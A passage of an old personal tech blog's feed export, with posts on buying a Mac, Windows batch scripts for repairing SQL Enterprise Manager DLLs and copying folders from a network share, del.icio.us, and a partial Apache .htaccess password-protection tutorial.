href='http://danmacs.blogspot.com/feeds/113351404169547088/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=113351404169547088' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/113351404169547088'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/113351404169547088'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2005/12/360-launch-day.html' title='360 Launch Day'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-113231090214043856</id><published>2005-11-18T10:47:00.000Z</published><updated>2006-03-24T11:20:23.203Z</updated><title type='text'>MAC Watch</title><content type='html'>&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;I'm currently saving up to treat myself to a shiny new Mac; I've always wanted one and I have now "got permission" to buy one thanks in no small part for my willingness to part with silly amounts of money for a Canon EOS 20D, probably one of the coolest digital SLRs that you can buy without selling 2 or three internal organs.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;My initial plan was to get a mac mini and convince the wife to scrap the desktop PC, its just too big and we don't really need all the processing power and storage that I have accumulated over the years.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;I thought a Mac mini would fit our needs perfectly and increase the workflow of our little home photography studio. Namely by letting me create a little Automator program that when a photo was dropped on to it, it would rotate to portrait mode, resize to 10x15 or whatever other sizes I decide I want to print on, set the resolution to 300DPI and then print it. This would remove about oh lets say a half dozen steps in photoshop.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;Then this interesting article dropped in my inbox and changed all that&lt;/span&gt;&lt;br /&gt;&lt;a style="font-family: trebuchet ms;" href="http://www.thinksecret.com/news/0511intelibook.html"&gt;http://www.thinksecret.com/news/0511intelibook.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;Now im swinging to getting an iBook and just using it as a workstation with better portability, I would of course be wanting to get another one, just so that if I have it with me, there is still one at home/with the wife.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;My wife doesn't use the PC that much anyway, a bit of light photoediting and printing, webcam chats with her dad in Thailand and stepsister on an island in the Philipines, iTunes, some internet browsing and thats about it.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;I only need some Linux programs, Dreamweaver and a Microsoft remote desktop connection and I am able to work from home on whatever I need to.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;Oh wait, all of those are available for OS X, and even if they weren't I have an old Sony VAIO that can be trundled out when I absolutely, positively want to(have to) gouge my eyes out on Windows 2000 with 64MB RAM.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;I'll keep this updated with how the quest for mac progresses, and how much I love/hate it when it arrives.&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-113231090214043856?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/113231090214043856/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=113231090214043856' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/113231090214043856'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/113231090214043856'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2005/11/mac-watch.html' title='MAC Watch'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-113223821497270231</id><published>2005-11-17T14:31:00.000Z</published><updated>2006-03-24T11:20:43.920Z</updated><title type='text'>Battyness today!</title><content type='html'>&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;Again, some more .bat scripting to make my life a bit easier!&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;This time its SQL Enterprise Manager that is misbehaving; for whatever reason the wrong DLL's get registered and when you try to connect to any SQL database server you get and OLE 13686 error saying that you must upgrade Enterprise manager.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;What you do is unregister some DLLs, copy the proper ones back in from the SQL install media and then re-register the new DLLs. IN my case the install media lives on a network drive.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;@ECHO OFF&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;:: SQLSRVR.bat&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;:: Written by Daniel McLaughlin&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;:: http://danmacs.blogspot.com&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ECHO Mounting Network Share as Local Drive&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;NET USE t: \\NET IP ADDRESS\share\Applications\sql2000\x86\binn /PERSISTENT:NO&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;CLS&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ECHO *********************************WARNING********************************* &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ECHO *  You Should only run this if you are receiving the OLE 16386 Error    *&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ECHO *   This assumes that you are using the default directory structure     *&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ECHO *              i.e. .../program files/Microsoft SQL Server              *&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ECHO *********************************WARNING********************************* &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ECHO.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ECHO.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;PAUSE&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ECHO.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ECHO.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ECHO *********************************INFO********************************* &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ECHO            You Will now unregister the DLLs invlolved with&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ECHO                      SQL Enterprise Manager 2000&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ECHO     Five (5) Information boxes will appear, click OK on each&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ECHO *********************************INFO********************************* &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ECHO.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ECHO.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ECHO.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;PAUSE&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;CD "%1:\Program Files\Microsoft SQL Server\80\Tools\Binn"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;REGSVR32 /u dtsui.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;REGSVR32 /u sqlns.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;REGSVR32 /u sqldmo.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;REGSVR32 /u sqllex.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;REGSVR32 /u sqlmmc.dll&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ECHO.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ECHO *********************************INFO********************************* &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ECHO            You Will now re-register the DLLs invlolved with&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ECHO                      SQL Enterprise Manager 2000&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ECHO     Five (5) Information boxes will appear, click OK on each&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;PAUSE&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ECHO STEP 1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ECHO.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ATTRIB -R "%1:\Program Files\Microsoft SQL Server\80\Tools\Binn\dtsui.dll"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ATTRIB -R "%1:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlns.dll"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ATTRIB -R "%1:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqldmo.dll"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ATTRIB -R "%1:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqllex.dll"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ATTRIB -R "%1:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmmc.dll"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ECHO STEP 2&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ECHO.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;DEL "%1:\Program Files\Microsoft SQL Server\80\Tools\Binn\dtsui.dll"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;DEL "%1:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlns.dll"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;DEL "%1:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqldmo.dll"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;DEL "%1:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqllex.dll"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;DEL "%1:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmmc.dll"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;CD \&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ECHO STEP 3&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ECHO.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;XCOPY "t:\dtsui.dll" "%1:\Program Files\Microsoft SQL Server\80\Tools\Binn" &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;XCOPY "t:\sqlns.dll" "%1:\Program Files\Microsoft SQL Server\80\Tools\Binn" &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;XCOPY "t:\sqldmo.dll" "%1:\Program Files\Microsoft SQL Server\80\Tools\Binn" &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;XCOPY "t:\sqllex.dll" "%1:\Program Files\Microsoft SQL Server\80\Tools\Binn" &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;XCOPY "t:\sqlmmc.dll" "%1:\Program Files\Microsoft SQL Server\80\Tools\Binn" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;cd "%1:\Program Files\Microsoft SQL Server\80\Tools\Binn" &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;REGSVR32 dtsui.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;REGSVR32 sqlns.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;REGSVR32 sqldmo.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;REGSVR32 sqllex.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;REGSVR32 sqlmmc.dll&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ECHO File Copy Successful&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ECHO Thank You For Using this utility&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;net use t: /d&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;PAUSE&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;cd \&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;CLS&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;To use this script, CD to the directory where it lives and run it from the command line with one additional parameter, the drive that Enterprise Manager is installed on. so for example&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;c:\&gt; sqlservr.bat c&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-113223821497270231?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/113223821497270231/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=113223821497270231' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/113223821497270231'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/113223821497270231'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2005/11/battyness-today.html' title='Battyness today!'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-113216155307766271</id><published>2005-11-16T17:18:00.000Z</published><updated>2006-03-24T11:21:21.560Z</updated><title type='text'>Full of scripty goodness</title><content type='html'>&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;This is one of the batch scripts that I wrote today, basically what it does is log in to a samba server that is doing NT Authentication with Active Directory, takes user input to specify the source folder on the remote server and the target folder on their local machine. To do this it creates a temporary mapped drive on their local machine that is destroyed when the script runs through, its not a persistent connection so if they screw up or kill the script it won't leave the mapped drive sitting on their machine.&lt;br /&gt;&lt;br /&gt;The specification I was given for this was:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;"I need to copy an entire folder down to my laptop so that if i am travelling it will have the latest documents in it, &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;I want to be able to specify the directory to copy the files into and I don't care if it overwrites the existing files/folders"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Why they couldn't just copy the files down through Windows Explorer I will never know, but it filled an hour or so and I know lots more about batch scripts than I did before! I probably would have written it so that it didnt ask for any user input apart from the username and password but that would only have worked if the target and source directories were constant, and obviously they won't be.&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;This would probably have been much simpler to write and much more powerful in Linux (rSync goodness abound!) but this way it minimises the amount of additional software and extra permissions that people need (cygwin on their local machine and a login on the remote linux box).&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;I might in the future set it up so that the user can specify the remote server as well and navigate through the directory structure.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;There are some limitations on its behaviour, I'm still discovering some of the stranger things that it does, i.e. if you are a smart arse and feed it a file within a folder as the target (i.e. work/thisisafile.xls) it will create teh work folder and then another folder beneath it called thisisafile.xls and this folder will contain a file of the same name. This shouldnt be a problem but I would rather it didnt do it. It serves its purpose in the mean time and it may never be modified again but it is something that would annoy me immensely.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=";font-family:courier new;" &gt;@ECHO OFF&lt;/span&gt;&lt;br /&gt;&lt;span style=";font-family:courier new;" &gt;:: copydir.bat&lt;/span&gt;&lt;br /&gt;&lt;span style=";font-family:courier new;" &gt;:: Written by Daniel McLaughlin&lt;/span&gt;&lt;br /&gt;&lt;span style=";font-family:courier new;" &gt;:: http://danmacs.blogspot.com&lt;/span&gt;&lt;br /&gt;&lt;span style=";font-family:courier new;" &gt;SET SOURCE=&lt;/span&gt;&lt;br /&gt;&lt;span style=";font-family:courier new;" &gt;SET TARGET=&lt;/span&gt;&lt;br /&gt;&lt;span style=";font-family:courier new;" &gt;ECHO Mounting Network Share as Local Drive&lt;/span&gt;&lt;br /&gt;&lt;span style=";font-family:courier new;" &gt;ECHO.&lt;/span&gt;&lt;br /&gt;&lt;span style=";font-family:courier new;" &gt;ECHO Enter your username and close by pressing Enter, F6, Enter.&lt;/span&gt;&lt;br /&gt;&lt;span style=";font-family:courier new;" &gt;ECHO You Will Be Prompted for your NT Password&lt;/span&gt;&lt;br /&gt;&lt;span style=";font-family:courier new;" &gt;FOR /F "tokens=*" %%A IN ('TYPE CON') DO SET USERNAME=%%A&lt;/span&gt;&lt;br /&gt;&lt;span style=";font-family:courier new;" &gt;NET USE t: \\&lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;Target IP Address OR Hostname&lt;/span&gt;&lt;/span&gt;\&lt;span style="font-weight: bold; font-style: italic;"&gt;shared dir&lt;/span&gt; * /USER:&lt;/span&gt;&lt;/span&gt;&lt;span style="font-style: italic; font-weight: bold;font-family:courier new;font-size:100%;"  &gt;DOMAIN&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:100%;"  &gt;\%USERNAME% /PERSISTENT:NO&lt;br /&gt;CLS&lt;br /&gt;ECHO.&lt;br /&gt;ECHO Directory Listing for &lt;/span&gt;&lt;span style="font-style: italic;font-family:courier new;font-size:100%;"  &gt;"&lt;span style="font-weight: bold;"&gt;Description of the target folder&lt;/span&gt;"&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:100%;"  &gt;&lt;br /&gt;ECHO.&lt;br /&gt;dir /A:D /W "t:\&lt;/span&gt;&lt;span style="font-style: italic; font-weight: bold;font-family:courier new;font-size:100%;"  &gt;Target folder&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:100%;"  &gt;\"&lt;br /&gt;PAUSE&lt;br /&gt;ECHO.&lt;br /&gt;ECHO Type in the source directory path&lt;br /&gt;ECHO *********************************WARNING*********************************&lt;br /&gt;ECHO *       Specifying a null directory will copy the ENTIRE folder               *&lt;br /&gt;ECHO *                                                                                                                                             *&lt;br /&gt;ECHO *     If you accidentally specify the entire folder press CTRL +C                 *&lt;br /&gt;ECHO * The Temporary Drive (t:) Created will be removed on your next reboot   *&lt;br /&gt;ECHO *********************************WARNING*********************************&lt;br /&gt;ECHO.&lt;br /&gt;ECHO End directory entry by pressing Enter, F6 then Enter again.&lt;br /&gt;ECHO.&lt;br /&gt;:: Only one single command line is needed to receive user input&lt;br /&gt;FOR /F "tokens=*" %%A IN ('TYPE CON') DO SET SOURCE=%%A&lt;br /&gt;:: Use quotes if you want to display redirection characters as well&lt;br /&gt;CLS&lt;br /&gt;ECHO.&lt;br /&gt;ECHO Type in the ***full*** target directory path&lt;br /&gt;ECHO i.e. c:\documents and settings\user\my documents&lt;br /&gt;ECHO Files will be put in a subfolder with the same name as the target dir.&lt;br /&gt;ECHO End directory entry by pressing Enter, F6 (or Ctrl+Z), Enter.&lt;br /&gt;ECHO.&lt;br /&gt;:: Only one single command line is needed to receive user input&lt;br /&gt;FOR /F "tokens=*" %%A IN ('TYPE CON') DO SET TARGET=%%A&lt;br /&gt;CLS&lt;br /&gt;ECHO *********************************INFO*********************************&lt;br /&gt;ECHO         You Have Specified Source(remote) Folder %SOURCE%          &lt;br /&gt;ECHO         You Have Specified Target(local) Folder %TARGET%           &lt;br /&gt;ECHO     If you accidentally specify the wrong folder(s) press CTRL +C  &lt;br /&gt;ECHO  The Temporary Drive (t:) Created will be removed on your next reboot&lt;br /&gt;ECHO                               Otherwise                            &lt;br /&gt;&lt;br /&gt;PAUSE&lt;br /&gt;XCOPY /-Y /W /E "t:\&lt;/span&gt;&lt;span style="font-style: italic; font-weight: bold;font-family:courier new;font-size:100%;"  &gt;target folder&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:100%;"  &gt;\%SOURCE%\*.*" "%TARGET%\%SOURCE%" /s&lt;br /&gt;ECHO File Copy Successful&lt;br /&gt;ECHO Thank You For Using this utility&lt;br /&gt;PAUSE&lt;br /&gt;net use t: /d&lt;br /&gt;CLS&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;Obviously you wont be an eejit and just copy this into notepad and expect it to run, there are a few parts that you need to edit in order for it to work for you, these are in italics and bold just so that they are easy to spot.&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-113216155307766271?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/113216155307766271/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=113216155307766271' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/113216155307766271'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/113216155307766271'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2005/11/full-of-scripty-goodness.html' title='Full of scripty goodness'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-113196347963837435</id><published>2005-11-14T10:13:00.000Z</published><updated>2006-03-24T11:22:39.033Z</updated><title type='text'>del.icio.us</title><content type='html'>&lt;span style="font-family:trebuchet ms;"&gt;I have been using del.icio.us for a while now, I found it by accident and thought it was a fantastic tool, I recommend it to anyone who will listen and anyone who gives it a go tends to keep using it.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;It works for me because i could be at any number of PCs and still have access to my favourites list.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;I know I could set u p a HTML page with my bookmarks on it, but why would I do that when someone else can do it for me, and I can share what i found with other people!&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;There is also the "popular" section where you can see the most bookmarked pages over a period of time.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;I stumbled across tagrolls on their site and I thought I would use it now to show people exactly what i might be looking at at any one point in time. Unfortunately, it doesnt work with blogger as you can't incorporate javascript. Pants.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-113196347963837435?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/113196347963837435/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=113196347963837435' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/113196347963837435'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/113196347963837435'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2005/11/delicious.html' title='del.icio.us'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-113154237226661525</id><published>2005-11-09T13:19:00.001Z</published><updated>2008-08-13T09:00:24.304Z</updated><title type='text'>protect web directories using .htaccess</title><content type='html'>&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;Here's a tutorial on how to set up password protection under Apache 2.0.54 and Windows 2000&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;it takes about 5 minutes to set this up and provides an adequate level of protection for files that are web accessible anyway!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt; 1. Open up a command prompt and navigate to your apache2/bin directory, it will be c:\program files\apache group\apache2\bin if you used a default apache installation&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt; 2. Type the following command "htpasswd -c filename username" where you choose the name of the password file (remember what you called it) and the name of the user that you want to add to the user list, you will be prompted twice for a password&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt; 3. Copy the new password file to a directory outside your web root, you dont want anyone being able to see it&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt; 4. You now need to edit your httpd.conf file, if you search for the following string "FileAccessName" that will take you to the correct place in the file. Create a new line after that section and add the following text:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;directory&amp;gt;&lt;br /&gt;AllowOverride All&lt;br /&gt;Options None&lt;br /&gt;Order deny,allow&lt;br /&gt;&amp;lt;/directory&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;    Where protected directory is the full path to the directory that needs to be password protected i.e. "c:/webroot/site/www.home.com/securearea"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt; 5. Browse to that directory and create a new text file called htaccess.txt, inside this add the following text&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;    AuthUserFile "path/to/your/password/file"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;    AuthName "The Message you wish to appear on the prompt that pops up"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;    AuthType Basic&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;    &amp;lt;Limit&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;require valid-user&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;    &amp;lt;/Limit&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt; 6. Save this and rename it to .htaccess using your favourite editor (NOT NOTEPAD!!!)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt; 7. Restart apache and try to browse to your newly protected directory, you should be presented with a dialogue box asking you for a username and password (the ones you created earlier!)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;This will give you rudimentary protection for the files contained in that directory but there is much more that htaccess can do, for example it can limit access to a specific IP range, so say you have an internet site that is part intranet, you could limit access to the intranet subsection so that it is only accessible to users that have a 10.0.0.0 or a 192.0.0.0 IP address, i.e. those users on the internal network.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;I can't cover all the possibilities that this presents, there are simply too many permutations, but there is plenty of help out there, remember google is 